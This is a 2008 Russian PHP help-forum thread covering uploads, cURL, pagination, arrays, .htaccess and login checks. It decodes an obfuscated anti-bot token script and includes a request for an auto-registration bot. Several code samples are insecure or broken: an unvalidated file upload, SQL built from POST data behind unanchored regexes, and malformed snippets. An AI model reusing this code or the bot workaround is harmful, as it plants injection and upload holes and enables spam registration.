29.10.2008, 12:06
Неужели никто не подскажет, господа гуру? Выделенное красным шрифтом интересует.

Скорее всего это md5 hash чего-нибудь и он генерируется JavaScriptом. Если его нет на странице, то его не может быть и в запросе =) Логично?

Naydav
29.10.2008, 12:39
Неужели никто не подскажет, господа гуру? Выделенное красным шрифтом интересует.


короче есть там такой файлик(генерируеться скорее на лету)
checker.js,
<script src="/js/checker.js?rnd=1225268668"></script>

его содержимое
eval(unescape("%76%61%72%20%63%68%20%3d%20%24%28%22%72%65%67%66%6 f%72%6d%22%29%3b%76%61%72%20%73%20%3d%20%64%6f%63% 75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65 %6e%74%28%22%69%6e%70%75%74%22%29%3b%73%2e%73%65%7 4%41%74%74%72%69%62%75%74%65%28%22%74%79%70%65%22% 2c%20%22%68%69%64%64%65%6e%22%29%3b%73%2e%73%65%74 %41%74%74%72%69%62%75%74%65%28%22%6e%61%6d%65%22%2 c%20%22%63%68%31%36%34%65%66%31%61%61%31%31%61%30% 35%36%62%64%33%30%37%32%61%61%33%64%38%36%33%61%66 %39%32%65%22%29%3b%73%2e%73%65%74%41%74%74%72%69%6 2%75%74%65%28%22%76%61%6c%75%65%22%2c%20%22%31%32% 32%35%32%38%39%35%38%31%22%29%3b%63%68%2e%61%70%70 %65%6e%64%43%68%69%6c%64%28%73%29%3b"));

что означает

var ch = $("regform");var s = document.createElement("input");s.setAttribute("type", "hidden");s.setAttribute("name", "ch164ef1aa11a056bd3072aa3d863af92e");s.setAttribute("value", "1225289581");ch.appendChild(s);

Вот отсюда параметр в форме и береться

Rigo
29.10.2008, 17:31
короче есть там такой файлик(генерируеться скорее на лету)
checker.js,
<script src="/js/checker.js?rnd=1225268668"></script>

его содержимое
eval(unescape("%76%61%72%20%63%68%20%3d%20%24%28%22%72%65%67%66%6 f%72%6d%22%29%3b%76%61%72%20%73%20%3d%20%64%6f%63% 75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65 %6e%74%28%22%69%6e%70%75%74%22%29%3b%73%2e%73%65%7 4%41%74%74%72%69%62%75%74%65%28%22%74%79%70%65%22% 2c%20%22%68%69%64%64%65%6e%22%29%3b%73%2e%73%65%74 %41%74%74%72%69%62%75%74%65%28%22%6e%61%6d%65%22%2 c%20%22%63%68%31%36%34%65%66%31%61%61%31%31%61%30% 35%36%62%64%33%30%37%32%61%61%33%64%38%36%33%61%66 %39%32%65%22%29%3b%73%2e%73%65%74%41%74%74%72%69%6 2%75%74%65%28%22%76%61%6c%75%65%22%2c%20%22%31%32% 32%35%32%38%39%35%38%31%22%29%3b%63%68%2e%61%70%70 %65%6e%64%43%68%69%6c%64%28%73%29%3b"));

что означает

var ch = $("regform");var s = document.createElement("input");s.setAttribute("type", "hidden");s.setAttribute("name", "ch164ef1aa11a056bd3072aa3d863af92e");s.setAttribute("value", "1225289581");ch.appendChild(s);

Вот отсюда параметр в форме и береться

Предполагал что это отсюда берется, а как ты получил его содержимое?

Naydav
29.10.2008, 17:50
Предполагал что это отсюда берется, а как ты получил его содержимое?
На странице регистрации, жми ctrl+s (сохраняешь страничку) и смотришь в папочке к этой страничке, фалик change.html

Rigo
29.10.2008, 19:41
На странице регистрации, жми ctrl+s (сохраняешь страничку) и смотришь в папочке к этой страничке, фалик change.html
Ясно, спасибо. Я сохранял страницу с помощью IE7, этот файл был пустой. Сейчас мозиллой сохранил, есть содержимое.

rushter
29.10.2008, 21:17
помогите с регуляркой
xyy icq(ot6-do9znakov) Имя Фамилия
x - число
y - буква

Chaak
29.10.2008, 21:32
помогите с регуляркой
xyy icq(ot6-do9znakov) Имя Фамилия
x - число
y - буква

<?php
$str = 'xyy icq(ot6-do9znakov) Имя Фамилия';
preg_match('#^([0-9a-z]{3}) icq\((.*?)\) (.*?) (.*?)$#i',$str,$match);
print_r($match);
?>

хз че тебе надо =)

Chaak
29.10.2008, 22:54
подскажите, пожалуйста, как проверить наличие файла по http адресу?
там ведь использование http протокола будет, хз, как с ним работать. нашел только проверку в каталоге.
404 ошибку в заголовках ищи..

[x26]VOLAND
30.10.2008, 03:37
подскажите, пожалуйста, как проверить наличие файла по http адресу?
там ведь использование http протокола будет, хз, как с ним работать. нашел только проверку в каталоге.fopen('http://site/file.ext');
Вернёт true или false

vikseriq
30.10.2008, 17:11
Это почему? Если нет - то TRUE, так как 404

[x26]VOLAND
30.10.2008, 18:59
404 - это код ошибки http-хидера. fopen тут непричём.
if(fopen("http://сайт/несуществующий_файл.txt", "r"))
{
echo 'true';
}
else
{
echo 'false';
}Вернёт false

winstrool
01.11.2008, 11:25
Народ подскажите пожалуйста как можно реализовать поиск катологов и файлов?

Zircool
01.11.2008, 12:45
Еще один раз повторюсь с вопросом.. Люди выложите если у кого есть скрипт загрузки картинки на сервер. Советовали этот код



<form method=post enctype=multipart/form-data>
<input type=file name=uploadfile>
<input type=submit value=Загрузить></form>
<?php

// Каталог, в который мы будем принимать файл:
$uploaddir = './files/';
$uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']);

// Копируем файл из каталога для временного хранения файлов:
if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile))
{
echo "<h3>Файл успешно загружен на сервер</h3>";
}
else { echo "<h3>Ошибка! Не удалось загрузить файл на сервер!</h3>"; exit; }

// Выводим информацию о загруженном файле:
echo "<h3>Информация о загруженном на сервер файле: </h3>";
echo "<p><b>Оригинальное имя загруженного файла: ".$_FILES['uploadfile']['name']."</b></p>";
echo "<p><b>Mime-тип загруженного файла: ".$_FILES['uploadfile']['type']."</b></p>";
echo "<p><b>Размер загруженного файла в байтах: ".$_FILES['uploadfile']['size']."</b></p>";
echo "<p><b>Временное имя файла: ".$_FILES['uploadfile']['tmp_name']."</b></p>";

?>


Но не работает. права на папку как и положено 777 ставлю, в php.ini прописаны строки
file_uploads=On
upoad_tmp_dir=/tmp
upload_max_filesize=2M

.:nbd:.
01.11.2008, 13:08
Ошибки есть? Код взуально правильный.

DIAgen
01.11.2008, 13:30
Еще один раз повторюсь с вопросом.. Люди выложите если у кого есть скрипт загрузки картинки на сервер. Советовали этот код

.....

Но не работает. права на папку как и положено 777 ставлю, в php.ini прописаны строки
file_uploads=On
upoad_tmp_dir=/tmp
upload_max_filesize=2M

Вот попробуй использовать вот это Images.class (http://www.verot.net/php_class_upload_samples.htm)

Zircool
01.11.2008, 14:28
Не получается..Самое обидное что никаких ошибок не вылетает..(((

Sleep
01.11.2008, 15:10
а у тебя в папке со скриптом папка "files" есть ? error_reporting(E_ALL) пробовал? мож хоть чёнить выплюнет...

winstrool
01.11.2008, 16:18
вот, я на этой страници выкладывал скриптик по загрузки фалов на сервер, в примере какраз было адоптировано под изображения
http://forum.antichat.ru/threadnav65761-46-10.html

b3
01.11.2008, 17:42
У тебя чтото с веб сервером видимо. Данный скрипт загружает файлы любого типа/формата

Файл успешно загружен на сервер
Информация о загруженном на сервер файле:

Оригинальное имя загруженного файла: 03082008166.jpg

Mime-тип загруженного файла: image/jpeg

Размер загруженного файла в байтах: 452737

Временное имя файла: C:\WINDOWS\TEMP\phpD79.tmp

Zircool
02.11.2008, 14:47
Вопрос.как можно сохранить фото, загруженное из интернета...
Я воплотил так.


if(isset($_POST['sub2']))
{
$url=trim($_POST['url']);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$result = curl_exec($ch);
curl_close($ch);
$good = fopen("./_gallery/".rand(1,99999999999999999).".jpg", "w");
fwrite($good, $result);
fclose($good);
}


Но.. картинка загружается, а при открытии не отображается..

Gifts
02.11.2008, 14:55
Zircool curl_setopt($ch, CURLOPT_HEADER, FALSE);

Gifts
02.11.2008, 15:07
.:EnoT:. Попробуйте скачать с таким хтакссесом

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^$
RewriteRule .(jpg|gif|png|css|mov|swf|dcr|exe|rar|avi|vob|zip) $ - [F]

Zircool
02.11.2008, 19:40
Добрый вечер. Подскажите, есть ли у кого-нибудь пример скрипта разбития большого текста на несколько страниц, с использованием .htaccess

vikseriq
02.11.2008, 19:57
Это невозможно. одним хтассессом ничего не сделаешь.

heretic1990
02.11.2008, 23:33
Меня интересует, есть ли пркси чекер который будит работать на фри хосте?
P.S. спасибо за внимание.

rushter
02.11.2008, 23:40
конечно есть,поищи...

heretic1990
03.11.2008, 00:44
конечно есть,поищи...
искал, искал да ненашол(( вот и решил здесь спросить!

Zircool
03.11.2008, 02:45
Как можно подсчитать, сколько раз повторяется символ в тексте, не используя preg_match_all ?

159932
03.11.2008, 03:09
вот тебе ещё способ
<?php
$c = 'a';
$b = explode('a',$c);
echo count($b)-1;
?>

Red_Red1
03.11.2008, 03:54
2 Zircool
может это поможет
http://php.su/functions/?count-chars
Вот примерный код

<?php
$text ='Привет Мир,
ты прекрасен!!!
И даже более того :)';
$a=count_chars($text);
echo 'символ "е" входит в текст - '.$a[ord('е')].' раз';
?>

.::BARS::.
03.11.2008, 07:06
Подскажите пример навигации, должно бы так
показывает ссылки на первые 3 стр потом .... и на последние 3 стр.
а то у меня показывает ссылки на все страницы, а это захламлят.

вот код мой

if($number){
$cstart = 1;
$count_all = $comments_num;

$pages_count = @ceil($count_all/$number);
$pages_start_from = 1;
$pages = "";

for($j=1;$j<=$pages_count;$j++)
{
if($pages_start_from != $cstart)
{
$pages .= "<a href=\"".$link_page.$j.",".$news_name.".html\">$j</a> ";

}
else
{
$pages .= " [$j] ";
}
$pages_start_from ++;
}
}

на выходе 12345[6]789 и так далее - это к примеру мы на 6 странице.
надо 12[3]...987 вот типа того

.::BARS::.
03.11.2008, 11:55
Сам решил все!!!!!

Buffalon
03.11.2008, 15:55
Плиз дайте кто нибудь похожий скрипт что бы допустим пароль и всё остальное сам заполнял, а выводил только капчу/

Isis
03.11.2008, 15:59
Buffalon, мм?

Ch3ck
03.11.2008, 16:25
2ISIS, aвторега

DIAgen
03.11.2008, 21:48
Реально ли в пыхе делать перегрузку операторов как в C++?

К примеру чтобы вывести массив достаточно написать:

А зачем это нужно?

PEPSICOLA
03.11.2008, 22:03
Скажите мэны, а многомерные массивы вообще актуальны? Ими пользуются? К примеру если юзаешь СУРБД, стоит ли особое внимание уделять многомерным массивам или лучше не связываться с ними что бы не путаться? :)

[Raz0r]
03.11.2008, 22:08
print_r() ?

DDoSька
03.11.2008, 22:24
Скажите мэны, а многомерные массивы вообще актуальны? Ими пользуются? К примеру если юзаешь СУРБД, стоит ли особое внимание уделять многомерным массивам или лучше не связываться с ними что бы не путаться? :)
Удобно...я юзаю,но редко приходиться
ЗЫ?удобно и мне нравиться))

PEPSICOLA
03.11.2008, 22:30
Удобно...я юзаю,но редко приходиться
ЗЫ?удобно и мне нравиться))

вместе с базами данных? :) ну приведи пример хотя бы один. Именно пользу использования многомерных массивов и хранением инфы в б.д.

что типа так выходит именно лучше и удобней чем иначе...
я сколько думал ситуаций - ну понятия не имею, в чем их польза :D

Так, если можешь, в двух словах намекни - а я додумаю ;)

DDoSька
03.11.2008, 22:33
вместе с базами данных? :) ну приведи пример хотя бы один. Именно пользу использования многомерных массивов и хранением инфы в б.д.

что типа так выходит именно лучше и удобней чем иначе...
я сколько думал ситуаций - ну понятия не имею, в чем их польза :D

Так, если можешь, в двух словах намекни - а я додумаю ;)
ну че там придумывать?)))
$client[1][25]
Там селект
Я обычно с HTML так мудрю
$color[body][red]....итд....масса примеров...

Chaak
03.11.2008, 22:35
вместе с базами данных? :) ну приведи пример хотя бы один. Именно пользу использования многомерных массивов и хранением инфы в б.д.

что типа так выходит именно лучше и удобней чем иначе...
я сколько думал ситуаций - ну понятия не имею, в чем их польза :D

Так, если можешь, в двух словах намекни - а я додумаю ;)
Ну смотри допустим ты извлек трех юзеров. И у каждого(id юзера свои параметры).

Тогда массив примет вид:
$user[id]-> {
[friends] -> [id1]
[id2]

[reputation]->200

[win] -> false

}
Потом очень удобно обращаться:
echo user[id][reputation]; //выведет репутацию юзера с опр. id

Следовательно появляется какаято структура, к которой ты можешь постоянно обращаться

.:EnoT:.
03.11.2008, 22:38
PEPSICOLA
Массивы это вообще удобно))
Но всё зависит от того чего ты хочешь хранить в этих массивах....к примеру иногда бывает удобно хранить в массивах кучу данных полученных из mysql.
банальный пример:
<?php

$arr = array(
'news' => mysql_fetch_array($news),
'articles' => mysql_fetch_array($articles),
'cho_to_tam' => mysql_fetch_array($cho_to_tam));

?>

А с выборкой...ну не знаю какие могут быть проблемы...просто проходишь циклом как по обычному массиву. Соответственно если нужно вывести всё что есть, то нужно сделать несколько циклов или написать к примеру рекурсивную функцию...

PEPSICOLA
03.11.2008, 23:09
Понял - Спасибо Дыдоська! Спасибо Чак Норис!!, Спасибо ЕНоТ!!

Kaimi
04.11.2008, 00:54
<?php
$auth = "loginass";
?>
А индексе: include "base.php";

А если поролей много?
Мб лучше <? die(); ?>, а далее список хранить?

.:EnoT:.
04.11.2008, 00:54
UnPazz
.htaccess
<Files base.php>
order allow,deny
deny from all
</Files>

Red_Red1
04.11.2008, 00:57
В индексе пишешь

define("DOSTUP", TRUE);
....
Тут остальной код который нужно

В тех файлах которые закрываешь от просмотра должно быть это
if(!defined("DOSTUP")) die;
...
дальше код который надо
___________________________
Придумал не я. Взято когда то вот из этой статьи (или подобной)
http://www.softtime.ru/info/articlephp.php?id_article=34

.:EnoT:.
04.11.2008, 01:04
вообще не понимаю смысл хранить данные в php файле)
а если он захочет почистить весь файл предположим? Тогда все константы, die() и прочее наркоманство тоже улетит...имхо с .htaccess всё намного проще :)

добавлено))
При использовании file() первой строкой будет php-код в а не логин/пароль)

Даёшь .htaccess народу!! :D

DDoSька
04.11.2008, 14:28
UnPazz
1)Юзай .htaccess - это 100% рациональнее ченм die() итд
2)Старайся использовать БД,А не php....(я думаю , эт оуже устарело,ИМХО)
Red_Red1
Как сказал Енот, это глупо...
ЗЫ:Слушайте Chaak`а и Enot`а , они то уж точно не быдло-кодеры =)
-----
Red_Red1 , я не хотел тебя как-либ обижать,просто имел ввиду, что Чак и Енот - гарант качества)
Red_Red1 я бы не назвал тебя быдло-кодером ;)

zythar
04.11.2008, 18:13
винда.. поэтому и низя

.xs
04.11.2008, 18:19
UnPazz, Total Commander'ом можно.

.:EnoT:.
04.11.2008, 18:23
чёзабред?
любым редактором или тем же блокнотом жмём "сохранить как" и сохраняем под именем .htaccess и винда и хостеры тут не при чём

UnPazz
04.11.2008, 18:46
Есть база mycms, в ней подбаза admin.

Вот вопрос, к базе mycms подключаюсь норм, mysql_select_db("mycms") а как поключиться к подбазе admin?

.:EnoT:.
04.11.2008, 18:55
что значит подбаза? может ты имеешь ввиду таблицу admin?

vikseriq
04.11.2008, 19:00
В sql запросе пиши эту "подбазу" - "SELECT * FORM `admin` WHERE 1", напр )

DDoSька
04.11.2008, 19:06
Есть база mycms, в ней подбаза admin.

Вот вопрос, к базе mycms подключаюсь норм, а как поключиться к подбазе admin?
Я бы посоветовал тебе пройти курс Евгения Попова...Помогло бы сразу.И таких бы вопросов не возникало.Для твоего уровня, он как раз по силе будет!

.:EnoT:.
04.11.2008, 19:09
Я бы посоветовал тебе пройти курс Евгения Попова...Помогло бы сразу.И таких бы вопросов не возникало
вот как раз таки это я бы и не советовал))
Такую пургу гонит мужик)

DDoSька
04.11.2008, 19:44
он такую чушь пишет. Нужно знать алгоритмы, а синтаксис любого языка приложится =)
Да хз ...если бы ты его помсотрел...то понял синтаксис так,что у тебя вопросов не вызывало.Посмотрев его, ты бы сейчас не спрашивал такие простые вопросы ;)
ЗЫ: Там видео, а ты гоовришь :" Он такую чушь пишет" ))
Енот, ну для тебя может..я тож смотрел,так же показалось, но "новички" в пыхе,хорошо откдивкаються о видео....там же на пальцах все объясняют :)
ЗЫ:Енот,тебе уж точно не советую его смотреть,А то аж накинулся на меня...мол гамно-гамно :)
Нужно знать алгоритмы, а синтаксис любого языка приложится =)
Чтобы знать алгоритм,нужно знать и синтаксис, а как я вижу у тебя его нет :eek: .Посмотри видео...если инетпозволяет выкачать 2 гб.... =)

.:EnoT:.
04.11.2008, 19:55
DDoSька

Я смотрел, поэтому и делаю выводы))
синтаксис да, но вот что касается безопасности это ужас...а ведь посмотрев эти уроки новички начнут писать скрипты аля
mysql_query("SELECT * FROM `blabla` WHERE `id` = '$_GET['id']'");
вооот)

DDoSька
04.11.2008, 21:42
DDoSька

Я смотрел, поэтому и делаю выводы))
синтаксис да, но вот что касается безопасности это ужас...а ведь посмотрев эти уроки новички начнут писать скрипты аля
mysql_query("SELECT * FROM `blabla` WHERE `id` = '$_GET['id']'");
вооот)
Ты мыслишь как профессионал,а мы говорим о новичках же...
Пускай новичек хоть научиться создавать запросы из базы...А потом уже подумывает о безопасности
ЗЫ:Я Видел какая там капча: просто тупая картинка, которая ничего не спасает... :))
Ну ведь,там так все разжеванно, что ,я думаю, для новичка в самый раз.Ведь ты тоже не начинал сразу кодить скрипты с безопасностью,согласись?=)
Эти уроки расчитаны на новичков....я не имел ввиду,что нужно каждому сейчас сесть и пересмотреть его )

UnPazz
04.11.2008, 22:37
Под подбазой имел ввиду таблицу)))) теперь определился с определениями.

вот запрос к таблице (как её назвал "подбаза") : $q = mysql_query ("SELECT * FROM admin");

DDoSька
04.11.2008, 23:06
Под подбазой имел ввиду таблицу)))) теперь определился с определениями.

вот запрос к таблице (как её назвал "подбаза") :
Еле датумкал...а говоришь,что еще смотрел "Евгешку Попова" ;)

Gifts
05.11.2008, 00:28
UnPazz Запрос и запрос, что хотел то?
DDoSька Ммм, почем берете за рекламу, мне бы пригодился такой флудер, как вы

PHPoozy
05.11.2008, 07:03
Gifts, это ответ на сообщение 6023
DDosька, спасибо за отзывчивость, но мне хватит php.su .
Кстати, авторизацию написал. Вот часть кода :
этот код перебирает всю таблицу на соответствие введенных логина/пароля и хранимых в этой таблице логина и пароля.
Вот вопрос, а как осуществлять перебор если будет >1000 пользователей, скрипт будет грузиться долго ведь??
Непонятно написал быстродействующий код или нет =)
впиши рандом функцию к регалке, по нему перебирать быстрее чем так ,

PHPoozy
05.11.2008, 07:28
function prand($pass){
$l = rand(rand(1, 5), strlen($pass)) // 4 - минимальная длина пароля
$xs = array("0", "1", "2", "4"); // список возможных значений
return $l, $xs;
}

Gifts
05.11.2008, 09:01
UnPazz

Во-первых - цикл for будет каждую итерацию считать количество строк полученых из запроса. Поэтому надо всегда ДО цикла посчитать количество элементов, а потом использовать просто переменную.

Во-вторых, функция mysql_fetch_array и ей подобные разбирает строку и переводит внутренний указатель на следующую строку, то есть достаточно:


while ($f=mysql_fetch_array($table))
{
if ( ($f[login]==$_POST['login']) && ($f[pass]==$_POST['password']) ) header ("Location: admin.php");
}


Ну и наконец - чем брать всю таблицу и ста тыщ мильенов элементов дешевле - сделать нормальный запрос к БД


if (!preg_match('#[a-zA-Z0-9\_]{4,16}#',$_POST['login']) || !preg_match('#[a-zA-Z0-9\_]{4,16}#',$_POST['password'])) die();

$table=mysql_query("SELECT * FROM table WHERE user='".$_POST['login']."' AND password='".$_POST['password']."'");
if (mysql_num_rows($table)!=0) {header ("Location: admin.php");}
else {die('Неправильный логин/пароль');}


PHPoozy оО, ты это к чему?

[x26]VOLAND
05.11.2008, 09:39
Gifts Где die() после header()? Это плохой тон...

Zircool
05.11.2008, 12:15
Как сделать Gzip сжатие, и отображение времени генрации страницы.

Red_Red1
05.11.2008, 12:21
Сжатие вот тут почитай
http://php.su/functions/?cat=zlib
Время вот можно так

//Засекаем время
$mtime = microtime();
$mtime = explode(" ",$mtime);
$mtime = $mtime[1] + $mtime[0];
$tstart = $mtime;


ТУТ наш код

//Выводим
$mtime = microtime();
$mtime = explode(" ",$mtime);
$mtime = $mtime[1] + $mtime[0];
$tend = $mtime;
$totaltime = ceil(($tend - $tstart)*10000)/10000;
$time='Страница сгенерирована за '.$totaltime.' секунд.';

Gadik
05.11.2008, 12:59
Добрый день. Подскажите пожалуйста как реализовать следующее:

есть скрипт, где обрабатывается цикл операций n-ое кол-во раз. Так вот, как сделать так, чтобы это число n задавалось пользователем не в скрипте, а на самой странице?


Заранее спасибо.

PHPoozy
05.11.2008, 13:04
<form method="post" action="script.php">
<input name="var" type="text" value="1">
<input type="submit" value="send">
</form>

<?php

$var = $_POST['var'];

for($i = 0; $i <= $var; $i++){
print("SEX!</b>\n");
}

?>

Gadik
05.11.2008, 13:23
а так чтобы это в одном файле было можно сделать?

PHPoozy
05.11.2008, 13:25
скопируй все это в файл script.php

Gadik
05.11.2008, 13:28
пробовал, он после ввода числа сразу же начинает снова запрашивать число

PHPoozy
05.11.2008, 13:32
<?php

if(empty($_POST['var'])){
?>
<form method="post" action="script.php">
<input name="var" type="text" value="1">
<input type="submit" value="send">
</form>
<?php
}else{
$var = $_POST['var'];

for($i = 0; $i <= $var; $i++){
print("SEX!</b>\n");
}
}
?>

Gadik
05.11.2008, 13:43
аха. работает, спс. кстати первый вариант тоже работает, то у меня маленькая ошибочка была.

Еще раз пасибо.

Корвин
05.11.2008, 15:05
подскажите из за чего может не работать rewrite в .htaccess в нем прописаны rewrit'ы которые необходимы для работы моей админки, дома стоит сервер XAMPP на нем все работало , перенес на хостинг nic.ru там не работает, модуль rewrite включен , чо за фигня не могу понять(

Buffalon
05.11.2008, 16:40
Народ немогу сделать прокрутку страниц у меня вот чо получается .,
http://localhost/987.php?page=2?page=2?page=2?page=2
ВОт такой код
while($stage>$b++)
{eho '<a href='.$_SERVER[HTTP_REFERER].'?page='.$b.'>'.$b.'</a>';}

В $stage всего страниц

PHPoozy
05.11.2008, 16:48
while($stage>$b++)
{print('<a href='.$_SERVER['PHP_SELF'].'?page='.$b.'>'.$b.'</a>');}

P.S.: пайтон :D

Buffalon
05.11.2008, 17:09
while($stage>$b++)
{print('<a href='.$_SERVER['PHP_SELF'].'?page='.$b.'>'.$b.'</a>');}

P.S.: пайтон :D

Что то невижу логики, а во вторых он невыполняется... .
Какая разница , print_r , var_dump ????echo/

PHPoozy
05.11.2008, 17:17
print_r(array["a", "b", "c", "abc - это круто!"]);

// выводит 0 => a, 1 => b, 2 => c, 3 => abc - это круто!

print("ABC");

// ABC

echo("БЭЙСИК!!!");

// БЭЙСИК!!!

var_dump(array["a", "b", "c", "abc - это круто!"]);

// 0 => stringnch a, 1 => stringnch b, 2 => stringnch c, 3 => stringnch abc - это круто!

[x26]VOLAND
05.11.2008, 17:25
<form method="post" action="script.php"> замени на :
<form method="post" action="<?php echo $PHP_SELF ;?>">Мдя. Если форма ссылается на свой же файл, зачем вообе action? )

Buffalon
05.11.2008, 17:28
Ещо один!!!! Умник
Вот так вправильно
<form method="post" action="script.php"> замени на :
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">

Вообще то в массиве $_SЕRVER всё храниться

Zedi
06.11.2008, 01:07
Удобнее и правильнее первое, так как регистр глобалс везде давно офф.

Zedi
06.11.2008, 01:24
Не надо учиться не правильно, учись сразу правильно мой тебе совет. В 6ой версии пхп вообще это должны убрать, придется переучиваться, так что учи сразу правильно:-)

++Norton++
06.11.2008, 03:06
Поддерживаю Zedi, правильно говорит. Сейчас, наверное, даже ни одного хостинга не осталось, где регистер глобалс = ON.

.:EnoT:.
06.11.2008, 03:26
b3
если ты начал учить php вчера, да ещё и по книжке выпуска времён царя гороха...то да, вариант $PHP_SELF вполне прокатит.

вообще тебе следует задуматься над тем что php следует изучать с чего-нибудь более простого нежели суперглобальные массивы.

mff
06.11.2008, 14:10
Вопрос по .htaccess
Нужно сделать редирект с адреса http://www.site.ru на http://www.site.ru/forum/

Наоборот получается сделать, а как надо - нет... Помогите.